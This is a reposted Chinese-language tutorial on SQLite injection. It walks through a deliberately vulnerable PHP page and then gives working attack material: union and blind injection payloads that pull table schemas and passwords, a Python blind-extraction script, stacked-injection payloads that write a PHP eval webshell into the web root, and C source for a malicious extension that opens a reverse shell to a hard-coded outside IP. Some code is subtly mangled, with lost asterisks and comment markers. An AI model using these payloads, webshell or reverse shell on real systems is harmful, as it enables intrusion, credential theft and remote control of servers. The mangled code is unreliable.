首页 » 网站推广 » php报错2054技巧_SQLite 数据库注入总结

php报错2054技巧_SQLite 数据库注入总结

访客 2024-11-26 0

扫一扫用手机浏览

文章目录 [+]

root@ubuntu:~# sqlite3 DatabaseName.dbSQLite version 3.31.1 2020-01-27 19:55:54Enter ".help" for usage hints.sqlite>

上面的命令将在当前目录下创建一个文件 DatabaseName.db,该文件将被 SQLite 引擎用作数据库,并且 sqlite3 命令在成功创建数据库文件之后,将供应一个 sqlite> 提示符,该提示符用于交互式的操作库内的数据。
我们可以利用 .database 命令来查看当前数据库:

sqlite> .databasemain: /root/DatabaseName.dbSQLite 附加数据库

假设这样一种情形,当在同一韶光有多个数据库可用,您想利用个中的任何一个。
SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库。
SQLite 的 ATTACH DATABASE 语句的基本语法如下:

php报错2054技巧_SQLite 数据库注入总结

ATTACH DATABASE file_name AS database_name;

打开的数据库和利用 ATTACH 附加进来的数据库的必须位于同一文件夹下。
如果数据库尚未被创建,上面的命令将创建一个数据库。

php报错2054技巧_SQLite 数据库注入总结
(图片来自网络侵删)

如下,我们想附加一个现有的数据库 testDB.db:

sqlite> ATTACH DATABASE 'testDB.db' as 'TEST';

如下,实行 .database 命令后,可以看到成功附加了一个 TEST:

sqlite> .databasemain: /root/DatabaseName.dbTEST: /root/testDB.db

在特定情形下,我们可以通过附加数据库的办法写入 Webshell。

SQLite 创建表

SQLite 的 CREATE TABLE 语句用于在任何给定的数据库创建一个新表。
CREATE TABLE 语句的基本语法如下:

CREATE TABLE database_name.table_name( column1 datatype PRIMARY KEY(one or more columns), column2 datatype, column3 datatype, ..... columnN datatype,);

如下实例,我们创建了一个 users 表,ID 作为主键,NOT NULL 的约束表示在表中创建记录时这些字段不能为 NULL:

sqlite> CREATE TABLE users( id INT PRIMARY KEY NOT NULL, username TEXT NOT NULL, password TEXT NOT NULL, age INT NOT NULL);

您可以利用 SQLIte 命令中的 .tables 命令来验证表是否已成功创建,该命令用于列出附加数据库中的所有表:

sqlite> .tablesusers

您可以利用 SQLite .schema 命令得到表的完全信息,如下所示:

sqlite> .schema usersCREATE TABLE users( id INT PRIMARY KEY NOT NULL, username TEXT NOT NULL, password TEXT NOT NULL, age INT NOT NULL);SQLite Insert 语句

SQLite 的 INSERT INTO 语句用于向数据库的某个表中添加新的数据行。
语法如下:

INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)] VALUES (value1, value2, value3,...valueN);

下面的语句将在 users 表中创建四个记录:

INSERT INTO users (id,username,password,age) VALUES (1, 'Admin', '123456', 20);INSERT INTO users (id,username,password,age) VALUES (2, 'Whoami', '657260', 19);INSERT INTO users (id,username,password,age) VALUES (3, 'Bunny', '963756', 19);INSERT INTO users (id,username,password,age) VALUES (4, 'Allen', '759135', 21);SQLite Select 语句

SQLite 的 SELECT 语句用于从 SQLite 数据库表中获取数据,以结果表的形式返回数据。
SELECT 语句语法如下:

SELECT column1, column2, columnN FROM table_name;

如下我们查询刚刚创建的 users 表:

sqlite> .header onsqlite> .mode column # 前两个命令被用来设置格式化的输出sqlite> SELECT FROM users;id username password age ---------- ---------- ---------- ----------1 Admin 123456 20 2 Whoami 657260 19 3 Bunny 963756 19 4 Allen 759135 21SQLite 注释

与 MySQL 常见的注释符 # 不同,SQLite 的注释符以两个连续的 "-" 字符(ASCII 0x2d)开始,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。

您也可以利用 C 风格的注释,以 / 开始,并扩展至下一个 / 字符对或直到输入结束,以先到者为准。
SQLite 的注释可以超过多行。

sqlite>.help -- 这是一个大略的注释SQLite sqlite_master 表

sqlite_master 表示 SQLite 的系统表,是为每个 SQLite 数据库自动创建的分外表。
该表记录该数据库中保存的表、索引、视图、和触发器信息,每一行记录一个项目。
在创建一个 SQLite 数据库的时候,该表会自动创建。
如下查看 sqlite_master 表的构造,创造其包含 5 列:

sqlite> .schema sqlite_masterCREATE TABLE sqlite_master ( type text, name text, tbl_name text, rootpage integer, sql text);type:其值为 "table" 或者 "index"。
name:这个表的名称或者索引。
sql:创建表所利用的完全的 SQL 语句。

可知,sqlite_master 表中的 sql 字段中记录着你建表留下的完全的记录,也便是说我们在注入的时候可以通过查询 sqlite_master 表来获取数据库中的表名以及表构造,这就像我们在 MySQL 注入中查询 information_schema 一样。

同时,由于利用 CREATE 或 DROP 创建或销毁表在实际上与从分外的 sqlite_master 表中实行 INSERT 或 DELETE 语句相同,以是当我们在分外情形下可以通过操作 sqlite_master 表来创建或删除数据库表。

常见注入姿势

SQLite 注入的基本操作与 MySQL 注入相似,MySQL 有的 SQLite 基本都有,一个最大的不同便是没有 information_schema。

我们以下编写测试代码进行演示:

index.php

<?php class MyDB extends SQLite3 { function __construct() { $this->open('DatabaseName.db'); } } $db = new MyDB(); if(!$db){ echo $db->lastErrorMsg(); } else { echo "You can query users by ID.\n</br>"; } $id = $_POST['id']; $sql =<<<EOF SELECT from users where id='$id'; EOF; $ret = $db->query($sql); if($ret==FALSE){ echo "Error in fetch ".$db->lastErrorMsg(); } else{ while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ echo "ID = ". $row['id'] . "</br>"; echo "Username = ". $row['username'] ."</br>"; echo "Password = ". $row['password'] ."</br>"; } //var_dump($ret->fetchArray(SQLITE3_ASSOC)); } $db->close();?>测试闭合办法

正常查询:

考试测验闭合单引号:

创造报错,解释当前闭合办法为单引号。

然后考试测验利用分号 ; 闭合 SQL 语句:

1';

也可以利用 -- 进行注释:

1' --

也可以利用 / 进行注释:

1'/

查询 SQL 语句字段数

与 MySQL 一样,我们可以利用 UNION 语句来查询字段数:

-1' union select 1,2,3;-1' union select 1,2,3 -- -1' union select 1,2,3/

-1' union select 1,2,3,4;-1' union select 1,2,3,4 -- -1' union select 1,2,3,4/

可知当前字段数为 4,并且可以在 1、2、3 这三个位置回显。

查询表名和列名

这里直接通过查询 sqlite_master 表来实现:

-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;-1' union select 1,2,(select sql from sqlite_master limit 0,1),4 -- -1' union select 1,2,(select sql from sqlite_master limit 0,1),4/

如上图所示,得到了当前表创建时的语句:

CREATE TABLE users( id INT PRIMARY KEY NOT NULL, username TEXT NOT NULL, password TEXT NOT NULL, age INT NOT NULL )

从语句中我们得知当前表名为 users,个中有 id、username、password、age 这四个字段。

当存在多个表时,我们可以用 limit 关键字逐行读取,也可以利用 group_concat 关键字进行聚合:

-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;-1' union select 1,2,(select group_concat(sql) from sqlite_master),4 -- -1' union select 1,2,(select group_concat(sql) from sqlite_master),4/查询数据

得到表明和字段名之后我们便可以查询数据了:

-1' union select 1,2,(select group_concat(username,password) from users),4;-1' union select 1,2,(select group_concat(username,password) from users),4 -- -1' union select 1,2,(select group_concat(username,password) from users),4/

布尔盲注

根据查询精确或缺点时的页面回显来判断数据内容:

-1' or length(sqlite_version())=5/-1' or length(sqlite_version())=6/# sqlite 中没有 ascii, mid, left 等函数-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/......

在爆 sql 字段时最好先 hex 编码一下。
下面给出一个二分法盲注脚本:

import requestsurl = 'http://192.168.219.130/index.php'flag = ''for i in range(1,500): low = 32 high = 128 mid = (low+high)//2 while(low<high): payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/".format(i,chr(mid)) datas = { "id": payload } res = requests.post(url=url,data=datas) if 'Username' in res.text: # 为真时,即判断精确的时候的条件 low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)print('\n'+bytes.fromhex(flag).decode('utf-8'))# 4# 43# 435# 4352# 43524# 435245# 4352454# 43524541# 435245415# 4352454154# 43524541544# 435245415445# 4352454154452# 43524541544520# 435245415445205# 4352454154452054# 43524541544520544# 435245415445205441# 4352454154452054414# 43524541544520544142# 435245415445205441424# ......# CREATE TABLE users(# id INT PRIMARY KEY NOT NULL,# username TEXT NOT NULL,# password TEXT NOT NULL,# age INT NOT NULL# )韶光盲注

SQLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其浸染是返回一个 N 字节长的包含伪随机字节的 BLOG。
N 是正整数。
可以用它来制造延时。

并且 SQLite 没有 if,以是我们须要利用 case...when 来布局查询语句:

-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/

实行 payload 后将有一段韶光的延时。

SQLite 注入写入 Webshell

还记得我们之前说的 SQLite 附加数据库吗?当在同一韶光有多个数据库可用,您想利用个中的任何一个。
SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,利用该命令后,所有的 SQLite 语句将在附加的数据库下实行。

ATTACH DATABASE file_name AS database_name;

如果附加的数据库不存在,则会先创建该数据库,如果数据库文件路径设置在 WEB 目录下,就可以实现写入 Webshell 的功能。

如下我们在 SQLite 中实行以下语句:

ATTACH DATABASE '/var/www/html/shell.php' AS shell; # 附加一个名为 shell.php 的数据库create TABLE shell.exp (webshell text); # 为 shell 库创建一个表insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n'); # 插入数据

如上图所示,成功在 WEB 目录汇总天生了 shell.php,访问 shell.php 即可:

而在实际的 SQLite 注入中,写 Webshell 并没有那么大略,比如我们之前的测试代码:

index.php

<?php class MyDB extends SQLite3 { function __construct() { $this->open('DatabaseName.db'); } } $db = new MyDB(); if(!$db){ echo $db->lastErrorMsg(); } else { echo "You can query users by ID.\n</br>"; } $id = $_POST['id']; $sql =<<<EOF SELECT from users where id='$id'; EOF; $ret = $db->query($sql); if($ret==FALSE){ echo "Error in fetch ".$db->lastErrorMsg(); } else{ while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ echo "ID = ". $row['id'] . "</br>"; echo "Username = ". $row['username'] ."</br>"; echo "Password = ". $row['password'] ."</br>"; } //var_dump($ret->fetchArray(SQLITE3_ASSOC)); } $db->close();?>

个中利用的是 query() 函数来实行 SQL 语句,这样的话就无法实行分号 ; 后面的内容,但如果我们将 query() 换成 exec(),此时将造成堆叠注入,这样便可以写 Webshell 了,并且 exec() 函数实行后没有回显。
我们在注入的时候实行以下 payload 就行了:

-1';ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (webshell text);insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n');/

如何成功连接 Webshell:

SQLite 加载动态库

为了方便开拓者可以很轻便的扩展功能,SQLite 从 3.3.6 版本开始供应了支持扩展的能力,通过sqlite_load_extension API(或者 load_extension 函数 ),开拓者可以在不改动 SQLite 源码的情形下,通过动态加载的库(so/dll/dylib)来扩展 SQLite 的能力。
与 MySQL 中 UDF 类似,如果我们让 SQLite 加载恶意的动态库,那我们便可以达到实行系统命令的目的。

下面我们考试测验通过 load_extension 加载恶意扩展实现反弹 Shell。

首先根据 SQLite 官网的例子,编写一个 so 扩展:

/ Add your header comment here /#include <sqlite3ext.h> / Do not use <sqlite3.h>! /#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#include <signal.h>#include <dirent.h>#include <sys/stat.h>SQLITE_EXTENSION_INIT1/ Insert your extension code here /int tcp_port = 2333;char ip = "47.101.57.72";#ifdef _WIN32__declspec(dllexport)#endifint sqlite3_extension_init( sqlite3 db, char pzErrMsg, const sqlite3_api_routines pApi){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); int fd; if ( fork() <= 0){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip); fd = socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr)&addr, sizeof(addr)) ){ exit(0); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", 0LL, 0LL);} return rc;}

然后编译:

gcc -g -fPIC -shared exp.c -o exp.so# gcc -g -shared exp.c -o exp.dll

然后直接加载:

select load_extension('/root/exp.so');

如下图所示,成功反弹 Shell:

借助 SQLite 动态加载的这个特性,我们可以通过文件上传等办法在一个可预测的存储路径中预先放置一个覆盖 SQLite 扩展规范的动态库,然后通过 SQL 注入漏洞调用 load_extension,就可以很轻松地激活这个库中的代码,直接形成了远程代码实行漏洞:

而在 Android 平台中有漏洞利用履历的人该当都很清楚,想要把一个恶意文件下载得手机存储中,有许多实际可操作的办法,例如收到的图片、音频或者视频,网页的图片缓存等。

-1'||load_extension('./uploads/exp.so');/

但是默认情形下 load_extension 是被禁用的。

参考文献

末了

关注私我获取【网络安全学习攻略·资料包】

标签:

相关文章

招商蛇口中国房地产龙头企业,未来可期

招商蛇口(股票代码:001979),作为中国房地产企业的领军企业,自成立以来始终秉持“以人为本,追求卓越”的经营理念,致力于打造高...

网站推广 2025-02-18 阅读1 评论0